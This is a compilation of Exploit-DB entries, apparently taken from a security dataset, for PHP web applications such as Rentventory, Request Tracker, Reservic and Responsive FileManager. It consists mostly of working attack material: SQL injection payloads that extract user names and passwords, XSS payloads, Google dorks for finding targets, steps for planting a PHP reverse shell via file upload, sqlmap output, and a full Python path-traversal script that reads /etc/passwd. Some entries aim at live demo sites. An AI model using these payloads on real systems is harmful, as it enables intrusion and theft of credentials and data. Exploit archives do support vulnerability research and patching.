deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9081
Description: Rentventory - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-07-02
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] ~Fleck i love you :D hahaha
==============================================================================
        [Â»] Rentventory PHP (SQL/Blind) Multiple Vulnerabilities
==============================================================================

	[Â»] Script:             [ Rentventory ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.rentventory.com/ ]
	[Â»] Founder:            [ Moudi or SixSo <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em man .... ]
        [Â»] Team:               [ EvilWay ]
        [Â»] SiteWeb:            [ Visit - www.opensc.ws ]
        [Â»] Price:              [ $39 ]

###########################################################################

===[ Exploit SQL ]===	
	
	[Â»] http://www.site.com/patch/?product=[SQL]&panel=rent%2Fselect_time

===[ LIVE DEMO ]===	

        [Â»] http://www.rentventory.com/demo/?product=null+union+select+1,2,version(),4,5,6,7,8,9,10,11,12&panel=rent%2Fselect_time

===[ Exploit BLIND SQL ]===	

       [Â»] http://www.site.com/patch/?product=[BLIND]&panel=rent%2Fselect_time

===[ LIVE DEMO ]===

       [Â»] http://www.rentventory.com/demo/?product=1+AND+SUBSTRING(@@version,1,1)=5&panel=rent%2Fselect_time


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-02]
Exploit-DB #33787
Description: RepairShop2 - 'index.php?Prod' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-23
Author: kaMtiEz

Exploit:
source: https://www.securityfocus.com/bid/38907/info

RepairShop 2 is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

RepairShop 2 1.9.023 Trial is vulnerable; other versions may also be affected.

#############################################################################################################
## RepairShop2 - cross site scripting ( XSS )	                                                           ##
## Author : kaMtiEz (kamzcrew@yahoo.com)								   ##
## Homepage : http://www.indonesiancoder.com    	     					    	   ##
## Date : 20 March, 2010 						                                   ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.realitymedias.com/
[+] Download : http://www.realitymedias.com/repairshop/?L=downloads
[+] version : 1.9.023
[+] Vulnerability : XSS
[+] Dork : syalalala
[+] LOCATION : INDONESIA - JOGJA
#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/shop/?b=products.details&prod=[INDONESIANCODER]

[ EXPLOIT ]

"><script>alert(666)</script>

[ DEMO ]

http://n3x.realitymedias.com/rshop_demo/shop/?b=products.details&prod="><script>alert(666)</script>

[ FIX ]

:(


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31


[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] to someone .. satu langkah lagi .. :D
[+] CS-31 : kutunggu di kotaku :">

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
Exploit-DB #3723
Description: Request It 1.0b - 'index.php?id' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-12
Author: hackberry

Exploit:
Request It : Song Request System 1.0b - remote file inclusion

Software: Request It : Song Request System
Type: remote file inclusion
Version: 1.0b
Date: 2007-04-09
Url: http://scripts.ringsworld.com/organizers/requestit/
Risc: middle

------------------------------------
Credit:

http://hackberry.ath.cx
mail[AT]hackberry.ath.cx

------------------------------------
Vulnerability:

http://[target]/?id=[REMOTEFILE]

------------------------------------
Google dork:

"[ Request us to play you a song ]"

# milw0rm.com [2007-04-12]
Exploit-DB #38459
Description: Request Tracker - 'ShowPending' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-11
Author: cheki

Exploit:
source: https://www.securityfocus.com/bid/59022/info

Request Tracker is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

RT 4.0.10 is vulnerable; other versions may also be affected. 

POST /Approvals/ HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Cookie: RT_SID_example.com.80=7c120854a0726239b379557f024cc1cb
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.example.com/Approvals/
Host: 10.10.10.70
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; 
Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 
3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Length: 120

ShowPending=1%27+and+%27f%27%3D%27f%27%29+--+&ShowResolved=1&ShowRejected=1&ShowDependent=1&CreatedBefore=&CreatedAfter=
Exploit-DB #5911
Description: ResearchGuide 0.5 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-23
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ################################################################
 #    [ researchguide ]   Remote SQL Injection Vulnerability    #
 ################################################################
 #
 # Script site: http://researchguide.sourceforge.net/
 # 		http://sourceforge.net/projects/researchguide/
 #
 #
 # Vuln: http://site.com/guide/guide.php?id=-1+UNION+SELECT+1,2,concat_ws(char(58),id,name,uniqname,email),4,5,6,7,8,9%20from%20selector/*
 # 
 #
 # Bug:
 #
 # ...
 # $query = "SELECT * FROM $guideTable WHERE id=$id";
 #
 # $result = mysql_query ($query)
 #    or die ('The query failed!');
 # ...
 #
 ########################################################
 # Greetz: D3m0n_DE * sid.psycho * str0ke and otherz..  #
 ########################################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-06-23]
Exploit-DB #46210
Description: Reservic 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-21
Author: Ihsan Sencan

Exploit:
# Exploit Title: Reservic - Reserves Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-20
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ragob.com/
# Software Link: https://codecanyon.net/item/reservic-reserves-management-system/11736786
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php/framework-crud-detailaction?crud=reserves&id=[SQL]&backTo=dashboard
# 

GET /[PATH]/index.php/framework-crud-detailaction?crud=reserves&id=4+%41%4e%44%28%53%45%4c%45%43%54%20%31+%46%52%4f%4d%20%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%28%53%45%4c%45%43%54%28%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%28%43%41%53%54%28%44%41%54%41%42%41%53%45%28%29+%41%53%20%43%48%41%52%29%2c%30%78%37%65%2c%30%78%34%39%36%38%37%33%36%31%36%65%35%33%36%35%36%65%36%33%36%31%36%65%29%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%44%41%54%41%42%41%53%45%28%29%20%4c%49%4d%49%54%20%30%2c%31%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29&backTo=dashboard HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=9832af9c6649b4b918850c9c898e05dc
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 20 Jan 2019 13:01:16 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.28
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Exploit-DB #52133
Description: Reservit Hotel 2.1 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-04-06
Author: Ilteris Kaan Pehlivan

Exploit:
# Exploit Title: Reservit Hotel < 3.0 - Admin+ Stored XSS
# Date: 2024-10-01
# Exploit Author: Ilteris Kaan Pehlivan
# Vendor Homepage: https://wpscan.com/plugin/reservit-hotel/
# Version: Reservit Hotel 2.1
# Tested on: Windows, WordPress, Reservit Hotel < 3.0
# CVE : CVE-2024-9458

The plugin does not sanitise and escape some of its settings, which could
allow high privilege users such as admin to perform Stored Cross-Site
Scripting attacks even when the unfiltered_html capability is disallowed
(for example in multisite setup).

1. Install and activate Reservit Hotel plugin.
2. Go to Reservit hotel > Content
3. Add the following payload to the Button text > French field sane save: "
style=animation-name:rotation onanimationstart=alert(/XSS/)//
4. The XSS will trigger upon saving and when any user will access the
content dashboard again

References:
https://wpscan.com/vulnerability/1157d6ae-af8b-4508-97e9-b9e86f612550/
https://www.cve.org/CVERecord?id=CVE-2024-9458
Exploit-DB #43676
Description: Reservo Image Hosting Script 1.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-01-17
Author: Dennis Veninga

Exploit:
# Exploit Title: Reservo Image Hosting Script 1.5 - Cross Site Scripting
# Date: 15-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: reservo.co
# Version: 1.6
# CVE-ID: CVE-2018-5705

With support for automatic thumbnails & image resizing in over 200 image
formats, robust privacy options, secure image manager, external storage a
feature rich admin area and free migration scripts, Reservo really does
tick every box.


Reservo Image Hosting is vulnerable to XSS attacks. The affected function
is its search engine. Since there is an user/admin login interface, it's
possible for attackers to steal sessions of users and thus admin(s). By
sending users an infected URL, code will be executed.

---------------------------
---------------------------
PoC:

https://
{{target}}/search/?s=image&t=%27%29%3B%2522%2520style%253D%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3C
---------------------------
---------------------------

Evil javascript code can be inserted and will be executed when visiting the
link
Exploit-DB #48627
Description: Reside Property Management 3.0 - 'profile' SQL Injection
Type: webapps
Platform: php
Date: 2020-06-30
Author: Behzad Khalifeh

Exploit:
# Exploit Title: Reside Property Management 3.0 - 'profile' SQL Injection
# Date: 2020-06-28
# Google Dork: "Copyright 2020 Reside Property Management"
# Exploit Author: Ultra Security Team (Ashkan Moghaddas , AmirMohammad Safari)
# Team Members: Behzad Khalifeh , Milad Ranjbar
# Vendor Homepage: https://www.13plugins.com/product/reside-v3-rental-property-management-php-script/
# Version: v3.0 [Final Version]
# Tested on: Windows/Linux
# CVE: N/A

.:: Description ::.
RESIDE makes it easy to manage all of your tenants & properties, record payments, and keep everything accessible any time, from any computer or device.


.:: Vulnerable File ::.
profile.php


.:: Vulnerable Code ::.
- Line 21: $profile = $_GET['profile'];
- Line 22: $adminsName = preg_replace('/-/', ' ', $profile);
- Line 90: $sql = "SELECT * FROM admins WHERE adminName = '" . $adminsName . "'";
- Line 91: mysqli_query $result = mysqli_query($mysqli, $sql) or die ('-1' . mysqli_error());


.:: Proof Of Concept (PoC) ::.
Step 1 - Find Your Target With the above Dork.
Step 2 - Find profile.php File in Target
Step 3 - Inject Your Payloads in profile parameter


.:: Sample Request ::.
localhost/reside-rental-property-management/Reside/profile.php?profile=-21%27+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,user(),11,12,13,14,15,16,17,18,19,20,21,22,user(),24,25,26%23
Exploit-DB #49357
Description: Responsive E-Learning System 1.0 - 'id' Sql Injection
Type: webapps
Platform: php
Date: 2021-01-05
Author: Kshitiz Raj

Exploit:
# Exploit Title: Responsive E-Learning System 1.0 – 'id' Sql Injection
# Date: 2020-12-24
# Exploit Author: Kshitiz Raj(manitorpotterk)
# Vendor Homepage: https://www.sourcecodester.com/php/5172/responsive-e-learning-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=5172&title=Responsive+E-Learning+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

The 'id=' parameter in Responsive E-Learning System is vulnerable to Sql
Injection.

*Vulnerable Url : *http://localhost/elearning/delete_teacher_students.php?id=17
-p <http://localhost/elearning/delete_teacher_students.php?id=17%0D-p> id

# sqlmap -u
http://192.168.127.1//elearning/delete_teacher_students.php?id=17 -p id

        ___


__H__


 ___ ___["]_____ ___ ___
{1.3.11#stable}

|_ -| . [.]     | .'| .
|

|___|_  [']_|_|_|__,|
_|

      |_|V...       |_|   http://sqlmap.org




[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program



[*] starting @ 08:59:01 /2020-12-24/


08:59:33] [INFO] checking if the injection point on GET parameter 'id' is a
false positive

GET parameter 'id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y

sqlmap identified the following injection point(s) with a total of 402
HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause

    Payload: id=17' RLIKE (SELECT (CASE WHEN (7532=7532) THEN 17 ELSE 0x28
END))-- YDSn



    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=17' AND (SELECT 4939 FROM (SELECT(SLEEP(5)))EQuU)-- RaGm

---

[08:59:38] [INFO] the back-end DBMS is MySQL

web application technology: PHP 7.2.34, Apache 2.4.46

back-end DBMS: MySQL >= 5.0.12
Exploit-DB #49376
Description: Responsive E-Learning System 1.0 - Stored Cross Site Scripting
Type: webapps
Platform: php
Date: 2021-01-06
Author: Kshitiz Raj

Exploit:
# Exploit Title: Responsive E-Learning System 1.0 – Stored Cross Site Scripting
# Date: 2020-12-24
# Exploit Author: Kshitiz Raj(manitorpotterk)
# Vendor Homepage: https://www.sourcecodester.com/php/5172/responsive-e-learning-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=5172&title=Responsive+E-Learning+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

Step 1- Go to url http://localhost/elearning/admin/index.php
Step 2 – Login as admin.
Step 3 – Go to http://localhost/elearning/admin/course.php
Step 4 – click on Edit course (any course)
Step 5 – Enter *Course Year And Section:*  as <script>alert()</script> and fill the other values.
Step 6 – Click Save

XSS popup will be triggered.
Exploit-DB #49375
Description: Responsive E-Learning System 1.0 - Unrestricted File Upload to RCE
Type: webapps
Platform: php
Date: 2021-01-06
Author: Kshitiz Raj

Exploit:
# Exploit Title: Responsive E-Learning System 1.0 - Unrestricted File Upload to RCE
# Date: 2020-12-24
# Exploit Author: Kshitiz Raj (manitorpotterk)
# Vendor Homepage: https://www.sourcecodester.com/php/5172/responsive-e-learning-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=5172&title=Responsive+E-Learning+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

Step 1 -  Login to the application with admin credentials.
Step 2 - Click on Student or go to http://localhost/elearning/admin/student.php
Step 3 - Click on Add Student and fill the required things.
Step 4 - In image upload any php reverse shell.
Step 5 - Visit "http://localhost/elearning/admin/uploads/" and select your uploaded PHP web shell.
Exploit-DB #41515
Description: Responsive Events & Movie Ticket Booking Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Responsive Events & Movie Ticket Booking Script - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/responsive-events-movie-ticket-booking-script/
# Demo: http://theaterbookingscript.com/demo/advanced-ticketbooking/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/news_desc.php?newsid=[SQL]
# For example;
# -7'+/*!50000union*/+select+1,0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,3,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),5,6-- -
# users :user_id
# users :email
# users :user_name
# users :password
# users :mobile
# users :country
# users :state
# -7'+/*!50000union*/+select+1,0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,3,/*!13337Concat*/(user_name,0x3a,password),5,6+from+users-- -
# # # # #
Exploit-DB #43300
Description: Responsive Events & Movie Ticket Booking Script 3.2.1 - 'findcity.php?q' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Responsive Events & Movie Ticket Booking Script 3.2.1 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/responsive-events-movie-ticket-booking-script/
# Version: 3.2.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/findcity.php?q=[SQL]
# 
# s'+/*!02222UNION*/+/*!02222SELECT*/+0x31,0x32,0x33,(/*!02222Select*/+export_set(5,@:=0,(/*!02222select*/+count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137,0x3138,0x3139,0x3230--+-
# 
# 
# Parameter: q (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: q=s%' AND 6957=6957 AND '%'='
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: q=s%' AND SLEEP(5) AND '%'='
# 	
# # # # #
Exploit-DB #49359
Description: Responsive FileManager 9.13.4 - 'path' Path Traversal
Type: webapps
Platform: php
Date: 2021-01-05
Author: Sun* Cyber Security Research Team

Exploit:
# Exploit Title: Responsive FileManager 9.13.4 - 'path' Path Traversal
# Date: 12/12/2018 (PoC)
# Date: 04/01/2020 (Auto Exploit)
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Google Dork: intitle:"Responsive FileManager 9.x.x"
# Vendor Homepage: http://responsivefilemanager.com/
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/tag/v9.13.4
# Version: < 9.13.4
# Tested on: Linux 64bit + Python3

#!/usr/bin/python3

# Usage: python exploit.py [URL] [SESSION] [File Path]
# python3 exploit.py http://local.lc:8081 PHPSESSID=hfpg2g4rdpvmpgth33jn643hq4 /etc/passwd

import requests
import sys

def usage():
	if len(sys.argv) != 4:
		print("Usage: python3 exploit.py [URL]")
		sys.exit(0)

def copy_cut(url, session_cookie, file_name):
	headers = {'Cookie': session_cookie,
	'Content-Type': 'application/x-www-form-urlencoded'}
	url_copy = "%s/filemanager/ajax_calls.php?action=copy_cut" % (url)
	r = requests.post(
	url_copy, data="sub_action=copy&path=../../../../../../.."+file_name,headers=headers)
	return r.status_code

def paste_clipboard(url, session_cookie):
	headers = {'Cookie': session_cookie,'Content-Type': 'application/x-www-form-urlencoded'}
	url_paste = "%s/filemanager/execute.php?action=paste_clipboard" % (url)
	r = requests.post(
	url_paste, data="path=", headers=headers)
	return r.status_code

def read_file(url, file_name):
	name_file = file_name.split('/')[-1]
	url_path = "%s/source/%s" % (url,name_file) #This is the default directory,
	#if the website is a little different, edit this place
	result = requests.get(url_path)
	return result.text

def main():
	usage()
	url = sys.argv[1]
	session_cookie = sys.argv[2]
	file_name = sys.argv[3]
	print("[*] Copy Clipboard")
	copy_result = copy_cut(url, session_cookie, file_name)
	if copy_result==200:
		paste_result = paste_clipboard(url, session_cookie)
	else:
		print("[-] Paste False")
	if paste_result==200:
		print("[*] Paste Clipboard")
		print(read_file(url, file_name))
	else:
		print("[-] Copy False")

if __name__ == "__main__":
	main()